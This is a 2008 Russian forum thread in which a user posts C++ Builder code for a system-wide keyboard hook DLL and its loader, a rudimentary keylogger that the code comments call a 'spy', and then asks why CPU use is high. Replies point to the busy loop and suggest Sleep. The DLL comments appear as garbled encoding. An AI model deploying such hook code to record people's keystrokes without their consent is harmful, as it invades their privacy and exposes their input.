Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C/C++: Системное программирование и WinAPI > Хук слишком сильно загружает процессор


Автор: barin_Student 28.11.2008, 09:44
Код

//--------------------------
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#include <IniFiles.hpp>
#include <DateUtils.hpp>
#pragma hdrstop
//--------------------------
// Îáúÿâëÿåì ôóíêöèþ äëÿ òîãî, ÷òîáû îñíîâíàÿ ïðîãà ìîãëà å¸ ïîþçàòü èç DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// "Øïèîíñêàÿ" ôóíêöèÿ
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f; // Óêàçàòåëü íà ôàéë
  char *iniFileName=".\ hook.ini";
  TIniFile *ini = new TIniFile(iniFileName);
  int key1=ini->ReadInteger("hook settings","key1",118);
  int key2=ini->ReadInteger("hook settings","key2",118);
  int key3=ini->ReadInteger("hook settings","key3",118);
  int key4=ini->ReadInteger("hook settings","key4",118);
  delete ini;
  //ShoTDateTime


// Îòêðûâàåì ôàéë ñ ëîãîì íà äîáàâëåíèå, åñëè åãî íåò - ñîçäà¸ì
        TDateTime date;
        //date=date.CurrentDate();
        Sleep(150);
        if(wParam==key1)
        {

                //TDateTime  firstClick = StrToDateTime(Memo1->Lines->Strings[i]);
                unsigned short year, month, day, hour, min, sec,msec;
                DecodeDateTime(date.CurrentDate(), year, month, day, hour, min, sec,msec);
                FILE *fileKey1;
               // AnsiString s=
                AnsiString str=(AnsiString)month+year+"key1.quit";
                char *filePath=str.c_str();
                if((fileKey1=fopen(filePath,"a"))!=NULL)
                {
                     fputc(wParam,fileKey1);
                }
                fclose(f);
        }
        if(wParam==key2)
        {
              //  StringList *List = new StringList(
        }
        if(wParam==key3)
        {
                //StringList *List = new StringList(
        }
        if(wParam==key4)
        {
               // StringList *List = new StringList(
        }
//if((f=fopen("c:\\logfile.log","a"))!=NULL)
//{
   //TDateTime  firstClick = StrToDateTime(Memo1->Lines->Strings[i]);
// Ïðîñòî ïèøåì êîä íàæàòîé êíîïêè â ôàéë, íî
// íå îòñëåæèâàþòñÿ çàãëàâíûå/ïðîïèñíûå,
// à òàêæå íàæàòèå è óäåðæèâàíèå îäíîé êíîïêè.
// (äëÿ ýòîãî àíàëèçèðóé ïàðàìåòð lParam)

//fputc(MapVirtualKey(wParam,2),f);
//fclose(f);
///}

/* Ïåðåä âûõîäîì èç ôóíêöèè - âûçûâàåì íîðìàëüíûé îáðàáîò÷èê
ñîîáùåíèé îò êëàâû (÷òî òîëêó îò øïèîíà, åñëè îñòàëüíûå
ïðîãè ïåðåñòàíóò íà êëàâó ðåàãèðîâàòü ? :)
*/
return CallNextHookEx(NULL, code, wParam, lParam);
}
//--------------------------
// Ôóíêöèÿ âõîäà â DLL - å¸ íå îñòàâëÿåì êàê åñòü
//--------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
//--------------------------

Вызываю DLL:
Код

#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
// параметры и их тип в скобках указывать не надо - и так работает :)
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию

// Юзаем нашу DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");

// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );

while(1) {}; // Зацикливаем прогу, чтобы DLL висела в памяти
}

как уменьшить кушание процессорных ресурсов?

Автор: Lazin 28.11.2008, 10:39
Цитата(barin_Student @  28.11.2008,  09:44 Найти цитируемый пост)
как уменьшить кушание процессорных ресурсов? 

держать файл открытым постоянно, не открывать-закрывать его при каждом нажатии на кнопку клавиатуры

Автор: barin_Student 28.11.2008, 11:21
Неправильно , ведь проц грузится даже если не нажимаю клавишу)) smile 

Автор: Lazin 28.11.2008, 11:44
а что ты ожидал, делая это
Цитата(barin_Student @  28.11.2008,  09:44 Найти цитируемый пост)
while(1) {}; // Зацикливаем прогу, чтобы DLL висела в памяти

Автор: barin_Student 28.11.2008, 11:47
Это и ожидал, мне она нужна 24 часа в сутки...Но , от ого что у нее нет выхода , этож не должно означать , что будет от этого систему перегружать... где то в ДЛЛ-ке есть косяк... smile  

Автор: Lazin 28.11.2008, 12:03
ну так этот цикл и грузит проц

Добавлено через 37 секунд
вставь туда Sleep(-1) вместо цикла

Автор: deniska 28.11.2008, 12:09
Цитата

Это и ожидал, мне она нужна 24 часа в сутки

Цитата

while(1) {};

будет она у тебя 24 часа в сутки ничего не делать и грузить проц. это же мертвый цикл - вошел в него и все, программа из него не выйдет, а ресурсы процессора съест. по другому надо организовать постоянную работу приложения

пс. Lazin опередил

Автор: barin_Student 28.11.2008, 12:19
Пробую.... smile 

Автор: xvr 28.11.2008, 12:24
Кстати, кроме 100% загрузки проца из за while(1) {} твой хук (с многочисленными манипуляциями с файлами и Sleep(150) внутри) превратит твой комп в пищущую машинку (я имею в виду скорость работы)  smile 

Автор: barin_Student 28.11.2008, 13:59
Все решина проблема...
ПС:Sleep(150)- я для теста ставил smile 
спасибо всем за помощь..
Lazin +1 к репутации smile 

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)